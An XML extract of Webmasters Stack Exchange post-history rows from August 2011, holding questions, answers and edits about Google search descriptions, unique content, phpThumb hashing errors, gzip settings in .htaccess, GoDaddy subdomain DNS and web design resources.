  <row Id="44065" PostHistoryTypeId="2" PostId="18171" RevisionGUID="f7c9ca31-17ad-46e6-92fe-f1541c386170" CreationDate="2011-08-13T15:52:55.210" UserDisplayName="Gordon" Text="I need some advice. &#xD;&#xA;&#xD;&#xA;I added Google Plus one code to my page like this:&#xD;&#xA;&#xD;&#xA;    &lt;table&gt;&lt;tr&gt;&#xD;&#xA;    &lt;td&gt;&lt;g:plusone size=&quot;medium&quot; count=&quot;false&quot;&gt;&lt;/g:plusone&gt;&lt;/td&gt;&#xD;&#xA;    &lt;td&gt;We hope you find this note helped you with your learning and studies.&lt;/td&gt;&#xD;&#xA;    &lt;/tr&gt;&lt;/table&gt;&#xD;&#xA;&#xD;&#xA;I already had my meta description set correctly with a good message. All these messages USED to appear in the description below the URL in a Google search. However NOW when I do a search I see that every description appearing in google is the same. It is the following plus some copyright message that appears after the PlusOne code above.&#xD;&#xA;&#xD;&#xA;    &quot;We hope you find this note helped you with your learning and studies&quot;&#xD;&#xA;&#xD;&#xA;Has anyone exprienced this. I have no idea why it chose the text close to the PlusOne for the description and ignored all the meta descriptions it used to use. Major problem for me. I have removed the PlusOne and hope Google has another look at my pages soon. " />
  <row Id="44066" PostHistoryTypeId="1" PostId="18171" RevisionGUID="f7c9ca31-17ad-46e6-92fe-f1541c386170" CreationDate="2011-08-13T15:52:55.210" UserDisplayName="Gordon" Text="Google PlusOne replaced all my meta description tags ! Every web page now has the same description in Google" />
  <row Id="44067" PostHistoryTypeId="3" PostId="18171" RevisionGUID="f7c9ca31-17ad-46e6-92fe-f1541c386170" CreationDate="2011-08-13T15:52:55.210" UserDisplayName="Gordon" Text="&lt;jquery&gt;&lt;html&gt;&lt;css&gt;&lt;google&gt;&lt;google-plus-one&gt;" />
  <row Id="44068" PostHistoryTypeId="2" PostId="18172" RevisionGUID="7dd7ad25-f33b-43cb-ba1c-dfb2f5d7b3ff" CreationDate="2011-08-13T17:01:34.680" UserId="9495" Text="Web content which google don not have in their content databases is unique content - am I right?&#xD;&#xA;&#xD;&#xA;Please shed some knowledge over this.&#xD;&#xA;&#xD;&#xA;Please answer this!&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="44069" PostHistoryTypeId="1" PostId="18172" RevisionGUID="7dd7ad25-f33b-43cb-ba1c-dfb2f5d7b3ff" CreationDate="2011-08-13T17:01:34.680" UserId="9495" Text="Web content, which google do not have in their content databases is unique content - am I right or wrong" />
  <row Id="44070" PostHistoryTypeId="3" PostId="18172" RevisionGUID="7dd7ad25-f33b-43cb-ba1c-dfb2f5d7b3ff" CreationDate="2011-08-13T17:01:34.680" UserId="9495" Text="&lt;seo&gt;&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;google-search&gt;&lt;seo-friendly&gt;" />
  <row Id="44075" PostHistoryTypeId="5" PostId="18172" RevisionGUID="7359ee3c-91f2-4246-af1e-2f4cea01bea4" CreationDate="2011-08-13T17:20:42.837" UserId="1253" Comment="improved title and question" Text="What is the criteria for determining what unique content is? Is it content that cannot be found in Google's index? Or is there more to it?" />
  <row Id="44076" PostHistoryTypeId="2" PostId="18174" RevisionGUID="e7d603eb-0a6f-4242-8e29-6aa4e34bbb46" CreationDate="2011-08-13T17:23:03.383" UserId="1253" Text="Unique content:&#xD;&#xA;&#xD;&#xA;- Is not copied from elsewhere (exact copy)&#xD;&#xA;- Is not a shorter summary of other content (i.e. some content is removed but the other content remains unmodified)&#xD;&#xA;&#xD;&#xA;Quality content that won't be affected by the Panda Algorithm:&#xD;&#xA;&#xD;&#xA;- Is written by an author who is knowledgeable about the subject&#xD;&#xA;- Offers new and unique insight into the topic&#xD;&#xA;- Cites sources for its information" />
  <row Id="44077" PostHistoryTypeId="4" PostId="18172" RevisionGUID="7359ee3c-91f2-4246-af1e-2f4cea01bea4" CreationDate="2011-08-13T17:20:42.837" UserId="1253" Comment="improved title and question" Text="Web content that cannot be found in Google's index is considered unique content?" />
  <row Id="44078" PostHistoryTypeId="6" PostId="18172" RevisionGUID="7359ee3c-91f2-4246-af1e-2f4cea01bea4" CreationDate="2011-08-13T17:20:42.837" UserId="1253" Comment="improved title and question" Text="&lt;seo&gt;&lt;google&gt;&lt;google-search&gt;" />
  <row Id="44079" PostHistoryTypeId="2" PostId="18175" RevisionGUID="e58b33d2-ae72-4022-a6f8-97aff452ee20" CreationDate="2011-08-13T17:27:50.253" UserId="1253" Text="That title *is* relevant to your typed phrase. &quot;Relevant&quot; does not mean &quot;exact match&quot;. Google knows that &quot;cheapest&quot; is another form of &quot;cheap&quot; so it considers that phrase to be a good match for your search query. This also applies to past tense (*ed) and plural words (*s)." />
  <row Id="44080" PostHistoryTypeId="10" PostId="18166" RevisionGUID="bb31cbee-5d46-400e-8665-a6e649bcd0c6" CreationDate="2011-08-13T17:28:09.050" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44081" PostHistoryTypeId="5" PostId="18157" RevisionGUID="c20e8fac-37da-410e-b705-7215f2c1dda7" CreationDate="2011-08-13T17:28:55.480" UserId="1253" Comment="deleted 7 characters in body; edited title" Text="Is there a good monitoring service for international sites? &#xD;&#xA;&#xD;&#xA;I have sites in many countires and I would like to get some monitoring service to track the visibility in google for all the domains and the most visited keywords and so on. I have found some, but most of them are handling only 3-4 markets, but I need to set a monitoring for each of my sites in many countires. Does anyone use such a service?&#xD;&#xA;" />
  <row Id="44082" PostHistoryTypeId="4" PostId="18157" RevisionGUID="c20e8fac-37da-410e-b705-7215f2c1dda7" CreationDate="2011-08-13T17:28:55.480" UserId="1253" Comment="deleted 7 characters in body; edited title" Text="SEO/Keywords Monitoring service" />
  <row Id="44083" PostHistoryTypeId="10" PostId="15210" RevisionGUID="edc6e149-9093-4da5-8c27-5d7bda1ea170" CreationDate="2011-08-13T17:30:29.303" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:7198,&quot;DisplayName&quot;:&quot;Nick&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44084" PostHistoryTypeId="2" PostId="18176" RevisionGUID="7d615673-7e7d-4ed9-81b1-a6f73fc87494" CreationDate="2011-08-13T18:10:56.903" UserId="9495" Text="How much the web design technology evolved?&#xD;&#xA;&#xD;&#xA;I mean to ask, How far can we take/are taking web design to optimum utilization level?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For example : The categories have been evolved to tags.&#xD;&#xA;&#xD;&#xA;I also want to know where can I find the web designing trend, its history as well?" />
  <row Id="44085" PostHistoryTypeId="1" PostId="18176" RevisionGUID="7d615673-7e7d-4ed9-81b1-a6f73fc87494" CreationDate="2011-08-13T18:10:56.903" UserId="9495" Text="How much the web design technology evolved?" />
  <row Id="44086" PostHistoryTypeId="3" PostId="18176" RevisionGUID="7d615673-7e7d-4ed9-81b1-a6f73fc87494" CreationDate="2011-08-13T18:10:56.903" UserId="9495" Text="&lt;seo&gt;&lt;web-development&gt;&lt;website-design&gt;&lt;websites&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="44087" PostHistoryTypeId="2" PostId="18177" RevisionGUID="7144cf88-5020-4ccb-b8d3-a8da12cb8a96" CreationDate="2011-08-13T18:22:27.373" UserId="9495" Text="which css techniques should be used keeping an eye on browser compatibly and trend?&#xD;&#xA;&#xD;&#xA;Please answer this question.&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="44088" PostHistoryTypeId="1" PostId="18177" RevisionGUID="7144cf88-5020-4ccb-b8d3-a8da12cb8a96" CreationDate="2011-08-13T18:22:27.373" UserId="9495" Text="which css techniques should be used keeping an eye on browser compatibly and trend?" />
  <row Id="44089" PostHistoryTypeId="3" PostId="18177" RevisionGUID="7144cf88-5020-4ccb-b8d3-a8da12cb8a96" CreationDate="2011-08-13T18:22:27.373" UserId="9495" Text="&lt;web-development&gt;&lt;website-design&gt;&lt;websites&gt;" />
  <row Id="44090" PostHistoryTypeId="2" PostId="18178" RevisionGUID="5bf4d0b6-2879-4d8a-8316-5c606c9aa822" CreationDate="2011-08-13T18:26:53.850" UserId="8957" Text="You're not searching for a phrase, if you put it into quotes and search google for &quot;cheapest mobile phone in india&quot; you get different results. The site in blue is actually on top when searching for the phrase.&#xD;&#xA;&#xD;&#xA;If you just type into the search box google will look for websites that have most of the words you typed, the more the better. As John said google considers cheap and cheapest to be equivalent. Only when you put the phrase into quotes google will search for the exact phrase." />
  <row Id="44091" PostHistoryTypeId="25" PostId="16810" RevisionGUID="0ec2764e-8041-4d2f-a843-68b199dee2f1" CreationDate="2011-08-13T18:34:27.270" Comment="http://twitter.com/#!/StackWebmasters/status/102447940253134849" />
  <row Id="44092" PostHistoryTypeId="2" PostId="18179" RevisionGUID="d844852b-d4ea-4e96-9854-0f7d05a0fd72" CreationDate="2011-08-13T18:51:35.137" UserId="9495" Text="Please recommend an one stop popular website for inspirational web design interfaces/ design snippet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Thank you for reading and giving your time. :)" />
  <row Id="44093" PostHistoryTypeId="1" PostId="18179" RevisionGUID="d844852b-d4ea-4e96-9854-0f7d05a0fd72" CreationDate="2011-08-13T18:51:35.137" UserId="9495" Text="Please recommend an one stop popular website for inspirational web design interfaces/ design snippet" />
  <row Id="44094" PostHistoryTypeId="3" PostId="18179" RevisionGUID="d844852b-d4ea-4e96-9854-0f7d05a0fd72" CreationDate="2011-08-13T18:51:35.137" UserId="9495" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="44095" PostHistoryTypeId="2" PostId="18180" RevisionGUID="0a51a31b-b87d-4183-a69a-11f02af8ed2a" CreationDate="2011-08-13T18:56:58.427" UserId="6051" Text="Setting up phpThumb for a website, and I want to secure the script by using hash-url's for each image. &#xD;&#xA;&#xD;&#xA;I have enabled the security-option in `phpThumb.config.php`:&#xD;&#xA;&#xD;&#xA;	// * Security configuration&#xD;&#xA;	$PHPTHUMB_CONFIG['high_security_enabled']    = true;  // if enabled, requires     'high_security_password' set to be set and requires the use of phpThumbURL() function (at the bottom of phpThumb.config.php) to generate hashed URLs&#xD;&#xA;	$PHPTHUMB_CONFIG['high_security_password']   = ' ';     // required if 'high_security_enabled' is true, and must be at complex (uppercase, lowercase, numbers, punctuation, etc -- punctuation is strongest, lowercase is weakest; see PasswordStrength() in phpThumb.php). You can use a password generator like http://silisoftware.com/tools/password-random.php to generate a strong password&#xD;&#xA;&#xD;&#xA;I use the function phpThumbURL() as described in the documentation; &#xD;&#xA;&#xD;&#xA;		require_once('img/phpThumb.config.php');&#xD;&#xA;		echo '&lt;img src=&quot;'.phpThumbURL('src=/wp-content/uploads/2011/08/wall140-73.jpg&amp;amp;w=640&amp;amp;h=400&amp;zc=1').'&quot;&gt;';&#xD;&#xA;&#xD;&#xA;Still, all I get is `Error: Invalid hash`&#xD;&#xA;&#xD;&#xA;I got phpThumbs to work without this security-option, but I really do not want to have the script open for anyone to generate thumbnail-images on my server. &#xD;&#xA;&#xD;&#xA;I don't understand how the hash can be invalid, and why it doesn't work. &#xD;&#xA;" />
  <row Id="44096" PostHistoryTypeId="1" PostId="18180" RevisionGUID="0a51a31b-b87d-4183-a69a-11f02af8ed2a" CreationDate="2011-08-13T18:56:58.427" UserId="6051" Text="phpThumb - Invalid hash" />
  <row Id="44097" PostHistoryTypeId="3" PostId="18180" RevisionGUID="0a51a31b-b87d-4183-a69a-11f02af8ed2a" CreationDate="2011-08-13T18:56:58.427" UserId="6051" Text="&lt;php&gt;&lt;hash&gt;" />
  <row Id="44098" PostHistoryTypeId="2" PostId="18181" RevisionGUID="b9239c98-d76e-487e-8297-60e0c644983c" CreationDate="2011-08-13T18:58:46.220" UserId="9495" Text="Please recommend a good trendy web designer/web developer dictionary?&#xD;&#xA;&#xD;&#xA;Than you for reading and giving your time. :)" />
  <row Id="44099" PostHistoryTypeId="1" PostId="18181" RevisionGUID="b9239c98-d76e-487e-8297-60e0c644983c" CreationDate="2011-08-13T18:58:46.220" UserId="9495" Text="Please recommend a good trendy web designer/web developer web dictionary?" />
  <row Id="44100" PostHistoryTypeId="3" PostId="18181" RevisionGUID="b9239c98-d76e-487e-8297-60e0c644983c" CreationDate="2011-08-13T18:58:46.220" UserId="9495" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="44101" PostHistoryTypeId="2" PostId="18182" RevisionGUID="0a824b79-2529-49c9-a207-82e579045243" CreationDate="2011-08-13T19:12:45.897" UserId="9565" Text="My website is loading large (~3mb) SVG file with jQuery. It takes quite a while therefore I decided to enable gzip compression.&#xD;&#xA;I have a hosting account with Bluehost which supports custom .htaccess files. Here is what I have tried to add to .htaccess file to enable compression without any success (I used Google's Page Speed for testing):&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_php5.c&gt;&#xD;&#xA;	    php_value output_buffering &quot;1&quot;&#xD;&#xA;	    php_value output_handler ob_gzhandler&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;IfModule mod_deflate.c&gt;&#xD;&#xA;        AddOutputFilterByType DEFLATE text/html text/xml text/plain text/css text/javascript application/x-javascript&#xD;&#xA;    &lt;/IfModule&gt;&#xD;&#xA;&#xD;&#xA;    &lt;IfModule mod_gzip.c&gt;&#xD;&#xA;    	mod_gzip_on Yes&#xD;&#xA;    	mod_gzip_dechunk Yes&#xD;&#xA;    	mod_gzip_item_include file \.(html?|txt|xml|css|js|php|pl|gif|jpg|jpeg|png|swf)$&#xD;&#xA;    	mod_gzip_item_include handler ^cgi-script$&#xD;&#xA;    	mod_gzip_item_include mime ^text/.*&#xD;&#xA;    	mod_gzip_item_include mime ^application/x-javascript.*&#xD;&#xA;    	mod_gzip_item_exclude mime ^image/.*&#xD;&#xA;    	mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.*&#xD;&#xA;    &lt;/IfModule&gt;" />
  <row Id="44102" PostHistoryTypeId="1" PostId="18182" RevisionGUID="0a824b79-2529-49c9-a207-82e579045243" CreationDate="2011-08-13T19:12:45.897" UserId="9565" Text="Enable gzip compression on Bluehost?" />
  <row Id="44103" PostHistoryTypeId="3" PostId="18182" RevisionGUID="0a824b79-2529-49c9-a207-82e579045243" CreationDate="2011-08-13T19:12:45.897" UserId="9565" Text="&lt;php&gt;&lt;apache&gt;&lt;compression&gt;&lt;gzip&gt;" />
  <row Id="44104" PostHistoryTypeId="2" PostId="18183" RevisionGUID="053e4b95-e3cc-4299-8a40-a9d6ac110ddf" CreationDate="2011-08-13T19:15:22.477" UserId="9565" Text="My favorite:&#xD;&#xA;http://dribbble.com/" />
  <row Id="44105" PostHistoryTypeId="2" PostId="18184" RevisionGUID="18ce623b-54f5-4a6c-9337-7839a961e0a4" CreationDate="2011-08-13T20:12:00.327" UserId="9566" Text="I need to create a guide or wiki that outlines different standardized techniques for marking up reusable elements in our software. When adding new features our developers are often able to reuse or mimic existing markup, and I'd like to make this as easy as possible for them. In order to do this now they have to dig through the interface to find something that's close enough.&#xD;&#xA;&#xD;&#xA;Are there any good examples online that show code samples for standardized markup?&#xD;&#xA;&#xD;&#xA;Is there a tool (wiki, etc.) that would make this somewhat easy to create?" />
  <row Id="44106" PostHistoryTypeId="1" PostId="18184" RevisionGUID="18ce623b-54f5-4a6c-9337-7839a961e0a4" CreationDate="2011-08-13T20:12:00.327" UserId="9566" Text="What is a good method for creating a guide for standardized markup?" />
  <row Id="44107" PostHistoryTypeId="3" PostId="18184" RevisionGUID="18ce623b-54f5-4a6c-9337-7839a961e0a4" CreationDate="2011-08-13T20:12:00.327" UserId="9566" Text="&lt;markup&gt;&lt;wiki&gt;&lt;guide&gt;" />
  <row Id="44108" PostHistoryTypeId="2" PostId="18185" RevisionGUID="43577118-1335-4ad2-a9ce-49d036fd5ce4" CreationDate="2011-08-13T20:17:00.420" UserId="9495" Text="How to find the records for domain names purchased today and in past?&#xD;&#xA;&#xD;&#xA;Thank you for the time :)" />
  <row Id="44109" PostHistoryTypeId="1" PostId="18185" RevisionGUID="43577118-1335-4ad2-a9ce-49d036fd5ce4" CreationDate="2011-08-13T20:17:00.420" UserId="9495" Text="How to find the records for domain name purchased today and in past?" />
  <row Id="44110" PostHistoryTypeId="3" PostId="18185" RevisionGUID="43577118-1335-4ad2-a9ce-49d036fd5ce4" CreationDate="2011-08-13T20:17:00.420" UserId="9495" Text="&lt;domains&gt;&lt;websites&gt;&lt;domain-names&gt;&lt;domain-registration&gt;&lt;whois&gt;" />
  <row Id="44111" PostHistoryTypeId="2" PostId="18186" RevisionGUID="3688433a-4158-4b44-bf20-6f00c6374485" CreationDate="2011-08-13T20:33:48.707" UserId="9495" Text="Is there any browser add-on or extension or anything, by which we can see their current page views of websites displayed in google search results?&#xD;&#xA;&#xD;&#xA;or &#xD;&#xA;&#xD;&#xA;give us the page views of websites opened in the browser." />
  <row Id="44112" PostHistoryTypeId="1" PostId="18186" RevisionGUID="3688433a-4158-4b44-bf20-6f00c6374485" CreationDate="2011-08-13T20:33:48.707" UserId="9495" Text="Is there any browser add-on or extension or anything, by which we can see their current page views?" />
  <row Id="44113" PostHistoryTypeId="3" PostId="18186" RevisionGUID="3688433a-4158-4b44-bf20-6f00c6374485" CreationDate="2011-08-13T20:33:48.707" UserId="9495" Text="&lt;google&gt;&lt;google-webmaster-tools&gt;&lt;pagerank&gt;&lt;browsers&gt;&lt;browser-support&gt;" />
  <row Id="44114" PostHistoryTypeId="25" PostId="9523" RevisionGUID="8dc7f405-33da-4267-99f2-4b05541851fe" CreationDate="2011-08-13T20:34:27.620" Comment="http://twitter.com/#!/StackWebmasters/status/102478142156976128" />
  <row Id="44115" PostHistoryTypeId="2" PostId="18187" RevisionGUID="72fff91f-9c4e-4476-8583-a35dd1718e77" CreationDate="2011-08-13T21:13:06.687" UserId="1253" Text="No. Unless a website publicly releases this information there is no way to get that information." />
  <row Id="44116" PostHistoryTypeId="5" PostId="18185" RevisionGUID="f140e0dd-af31-4d96-8bac-27aca9c22c6e" CreationDate="2011-08-13T21:32:49.773" UserId="1253" Comment="deleted 27 characters in body; edited tags" Text="How to find the records for domain names purchased today and in past?&#xD;&#xA;" />
  <row Id="44117" PostHistoryTypeId="6" PostId="18185" RevisionGUID="f140e0dd-af31-4d96-8bac-27aca9c22c6e" CreationDate="2011-08-13T21:32:49.773" UserId="1253" Comment="deleted 27 characters in body; edited tags" Text="&lt;domain-names&gt;&lt;whois&gt;" />
  <row Id="44118" PostHistoryTypeId="5" PostId="18181" RevisionGUID="da368acb-0e92-4251-98c5-71ead3c8523a" CreationDate="2011-08-13T21:33:28.293" UserId="1253" Comment="deleted 54 characters in body; edited title" Text="Please recommend a good web designer/web developer dictionary?&#xD;&#xA;" />
  <row Id="44119" PostHistoryTypeId="4" PostId="18181" RevisionGUID="da368acb-0e92-4251-98c5-71ead3c8523a" CreationDate="2011-08-13T21:33:28.293" UserId="1253" Comment="deleted 54 characters in body; edited title" Text="Please recommend a good web designer/web developer web dictionary?" />
  <row Id="44120" PostHistoryTypeId="2" PostId="18188" RevisionGUID="ea495306-caf0-464e-a3c8-3e4a07975b2d" CreationDate="2011-08-13T21:34:35.003" UserId="1253" Text="[This one seems okay][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.abacus.ca/website-dictionary.php" />
  <row Id="44121" PostHistoryTypeId="14" PostId="18180" RevisionGUID="34129377-6675-49d5-8399-d2ce3f83e708" CreationDate="2011-08-13T21:34:59.793" UserId="-1" Text="[{&quot;Id&quot;:-1,&quot;DisplayName&quot;:&quot;Community&quot;}]" />
  <row Id="44122" PostHistoryTypeId="17" PostId="18180" RevisionGUID="e1a361f3-b8a1-44a3-afc5-22929cc12443" CreationDate="2011-08-13T21:34:59.807" UserId="1253" Comment="to http://stackoverflow.com/questions/7053432/phpthumb-invalid-hash" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44123" PostHistoryTypeId="10" PostId="18180" RevisionGUID="a5fef0cc-5e5b-4b09-b904-398fbb89ecb8" CreationDate="2011-08-13T21:34:58.823" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="44124" PostHistoryTypeId="6" PostId="18184" RevisionGUID="90be6180-3600-4b16-b202-b1a514cb7bab" CreationDate="2011-08-13T21:35:35.300" UserId="1253" Comment="edited tags" Text="&lt;looking-for-a-script&gt;&lt;markup&gt;&lt;wiki&gt;&lt;guide&gt;" />
  <row Id="44125" PostHistoryTypeId="25" PostId="18160" RevisionGUID="3c080006-e1f9-4ae6-ab3f-87a9f8ec875e" CreationDate="2011-08-13T22:34:28.120" Comment="http://twitter.com/#!/StackWebmasters/status/102508342534094848" />
  <row Id="44126" PostHistoryTypeId="2" PostId="18189" RevisionGUID="78bef4a0-c967-4d42-b31b-1ed2175f4ac4" CreationDate="2011-08-13T22:51:22.773" UserId="9539" Text="I would like to have a dictionary for my website where the user can easily fill in a word or better yet right click a word and get the definition right there on the page or something along those lines. &#xD;&#xA;&#xD;&#xA;Are there any Dictionary API's out there that I can incorporate to my site? I have looked and cannot find anything. &#xD;&#xA;&#xD;&#xA;Thanks! " />
  <row Id="44127" PostHistoryTypeId="1" PostId="18189" RevisionGUID="78bef4a0-c967-4d42-b31b-1ed2175f4ac4" CreationDate="2011-08-13T22:51:22.773" UserId="9539" Text="Dictionary API for a website?" />
  <row Id="44128" PostHistoryTypeId="3" PostId="18189" RevisionGUID="78bef4a0-c967-4d42-b31b-1ed2175f4ac4" CreationDate="2011-08-13T22:51:22.773" UserId="9539" Text="&lt;websites&gt;&lt;javascript&gt;&lt;jquery&gt;&lt;api&gt;" />
  <row Id="44129" PostHistoryTypeId="2" PostId="18190" RevisionGUID="6a443f7e-523c-4603-b96f-3f51f2b6d783" CreationDate="2011-08-13T22:53:59.190" UserId="9567" Text="I am going to make a multi-user photo album. I am looking for a robust CMS which can easily handle batch image uploads and some social networking capabilities, like rating, relationship, etc. &#xD;&#xA;&#xD;&#xA;I know that it can be done using Wordpress but I appreciate it if you suggest me to other viable alternatives (not necessarily php-based). " />
  <row Id="44130" PostHistoryTypeId="1" PostId="18190" RevisionGUID="6a443f7e-523c-4603-b96f-3f51f2b6d783" CreationDate="2011-08-13T22:53:59.190" UserId="9567" Text="Suggest CMS for social photo album" />
  <row Id="44131" PostHistoryTypeId="3" PostId="18190" RevisionGUID="6a443f7e-523c-4603-b96f-3f51f2b6d783" CreationDate="2011-08-13T22:53:59.190" UserId="9567" Text="&lt;cms&gt;&lt;photo&gt;" />
  <row Id="44132" PostHistoryTypeId="17" PostId="18191" RevisionGUID="26b67614-6552-4682-a8bc-cc0151d140e5" CreationDate="2011-08-13T22:54:32.733" UserId="-1" Comment="from http://serverfault.com/questions/242519/how-do-i-setup-a-subdomain-in-godaddy-com-and-point-to-another-server" Text="" />
  <row Id="44133" PostHistoryTypeId="17" PostId="18192" RevisionGUID="87fa43e1-2b36-478e-80ac-1162647ebc1c" CreationDate="2011-08-13T22:54:32.733" UserId="-1" Comment="from http://serverfault.com/questions/242519/how-do-i-setup-a-subdomain-in-godaddy-com-and-point-to-another-server" Text="" />
  <row Id="44134" PostHistoryTypeId="2" PostId="18192" RevisionGUID="faaa1a81-5073-44bb-a57c-122297c8fcf6" CreationDate="2011-03-03T01:41:42.903" UserId="5020" Text="I think you are trying to set up a Cname record where you need to set up another A record and point that to the IP of the server. You can't use a CNAME because that was designed to point to another domain not point to an IP address , and you are trying to point to an IP. Set up your A record as sub.example.com 192.168.1.2." />
  <row Id="44135" PostHistoryTypeId="2" PostId="18191" RevisionGUID="2e677747-61e9-423e-b6a9-d0fd137918f0" CreationDate="2011-03-03T01:31:09.697" UserDisplayName="Martin Walker" Text="When I create a subdomain in godaddy.com the only option is to forward that subdomain, and I don't want to forward it, I want it to point to another server. I don't want the main site or the email accounts to be disrupted either.&#xD;&#xA;&#xD;&#xA;Currently I have a main site: walkerseo.com and a subdomain: demo.walkerseo.com that is working fine. demo.walkerseo.com is hosted on a static site and walkerseo.com is a website that is hosted within a CMS.&#xD;&#xA;&#xD;&#xA;The static hosting people keep pointing to godaddy.com and godaddy.com tells me I have to setup the subdomain at the static hosting place.&#xD;&#xA;&#xD;&#xA;I am frustrated and confused and need to get some subdomains setup. Any help is appreciated." />
  <row Id="44136" PostHistoryTypeId="1" PostId="18191" RevisionGUID="2e677747-61e9-423e-b6a9-d0fd137918f0" CreationDate="2011-03-03T01:31:09.697" UserDisplayName="Martin Walker" Text="How do I setup a subdomain in godaddy.com and point to another server?" />
  <row Id="44137" PostHistoryTypeId="3" PostId="18191" RevisionGUID="2e677747-61e9-423e-b6a9-d0fd137918f0" CreationDate="2011-03-03T01:31:09.697" UserDisplayName="Martin Walker" Text="&lt;subdomain&gt;&lt;godaddy&gt;" />
  <row Id="44138" PostHistoryTypeId="2" PostId="18193" RevisionGUID="1166f518-f68d-4873-a9ba-ecdae9786c2d" CreationDate="2011-08-13T22:58:12.027" UserId="9539" Text="I use [Business Catalyst][1] and you can batch upload using FTP. I am not 100% sure what you are looking for but Business Catalyst has some powerful tools that might help you out. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://businesscatalyst.com/" />
  <row Id="44139" PostHistoryTypeId="5" PostId="18190" RevisionGUID="0fc3e974-6b7f-4e98-8165-c1337b5fe602" CreationDate="2011-08-13T23:02:17.213" UserId="9567" Comment="added 9 characters in body" Text="I am going to make a multi-user photo album. I am looking for a robust and free CMS which can easily handle batch image uploads and some social networking capabilities, like rating, relationship, etc. &#xD;&#xA;&#xD;&#xA;I know that it can be done using Wordpress but I appreciate it if you suggest me to other viable alternatives (not necessarily php-based). " />
  <row Id="44140" PostHistoryTypeId="25" PostId="9236" RevisionGUID="59f9b7c6-6fcd-484e-b3d2-848968ea8a4e" CreationDate="2011-08-14T00:34:32.790" Comment="http://twitter.com/#!/StackWebmasters/status/102538561185775616" />
  <row Id="44141" PostHistoryTypeId="2" PostId="18194" RevisionGUID="1c9c5e02-4f08-4997-a1ad-e6985d8e164e" CreationDate="2011-08-14T01:29:25.940" UserId="8687" Text="[Alexa's toolbar][1] shows a ranking that is based on the number of visitors to a site. Though it is not a complete count of every hit a site gets, it is a guide that will tell you who gets more and who gets less traffic.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alexa.com/" />
  <row Id="44142" PostHistoryTypeId="10" PostId="18176" RevisionGUID="1a61465d-f3ba-43a7-a86a-74c9db31ffac" CreationDate="2011-08-14T02:19:01.340" UserId="1064" CloseReasonId="3" Text="[{&quot;Id&quot;:4502,&quot;DisplayName&quot;:&quot;Su\u0027&quot;},{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="44143" PostHistoryTypeId="25" PostId="9207" RevisionGUID="1794d986-9a2e-459a-9909-b34d0d86f0ff" CreationDate="2011-08-14T02:34:32.920" Comment="http://twitter.com/#!/StackWebmasters/status/102568760690475008" />
  <row Id="44144" PostHistoryTypeId="2" PostId="18195" RevisionGUID="06fa8b49-6deb-457d-bce4-e5979987f261" CreationDate="2011-08-14T03:20:55.233" UserId="9569" Text="I'm interested in creating a domain hack, using the .es ccTLD. If the website does not target Spain, is this advisable? I've seen URL shortening services use ccTLDs to provide shorter URLs, however their main website (i.e. bit.ly as bitly.com), uses a standard .com TLD.&#xD;&#xA;&#xD;&#xA;If I do use an .es ccTLD to pluralize an English word for an English website (i.e. branch.es), would this hurt SEO? I don't want search engines (or people, for that matter) to think the website is in Spanish, and to only serve to those who speak Spanish instead of those who speak English.&#xD;&#xA;&#xD;&#xA;Any insight you may have would be helpful. Thanks for your time and help!&#xD;&#xA;&#xD;&#xA;~Dustin Tigner" />
  <row Id="44145" PostHistoryTypeId="1" PostId="18195" RevisionGUID="06fa8b49-6deb-457d-bce4-e5979987f261" CreationDate="2011-08-14T03:20:55.233" UserId="9569" Text="Are domain hacks advisable? and how do they affect SEO?" />
  <row Id="44146" PostHistoryTypeId="3" PostId="18195" RevisionGUID="06fa8b49-6deb-457d-bce4-e5979987f261" CreationDate="2011-08-14T03:20:55.233" UserId="9569" Text="&lt;seo&gt;&lt;domains&gt;&lt;top-level-domains&gt;&lt;tld&gt;" />
  <row Id="44147" PostHistoryTypeId="2" PostId="18196" RevisionGUID="9c4728a0-b99c-49f9-9739-a5758b4d331d" CreationDate="2011-08-14T03:31:41.683" UserId="9570" Text="Got it! I guess I renamed the file in my published folder and forgot to delete the original file on the server :) Duh!!!" />
  <row Id="44148" PostHistoryTypeId="2" PostId="18197" RevisionGUID="b8571904-0df5-42d7-829e-e7c668c8b074" CreationDate="2011-08-14T04:08:52.967" UserId="9571" Text=" -css-tricks.com&#xD;&#xA; - smashing magazine&#xD;&#xA; - codrops&#xD;&#xA;&#xD;&#xA;" />
  <row Id="44149" PostHistoryTypeId="25" PostId="18190" RevisionGUID="81c434db-07c3-448a-8084-a729df8ee0a2" CreationDate="2011-08-14T04:34:33.663" Comment="http://twitter.com/#!/StackWebmasters/status/102598960337797120" />
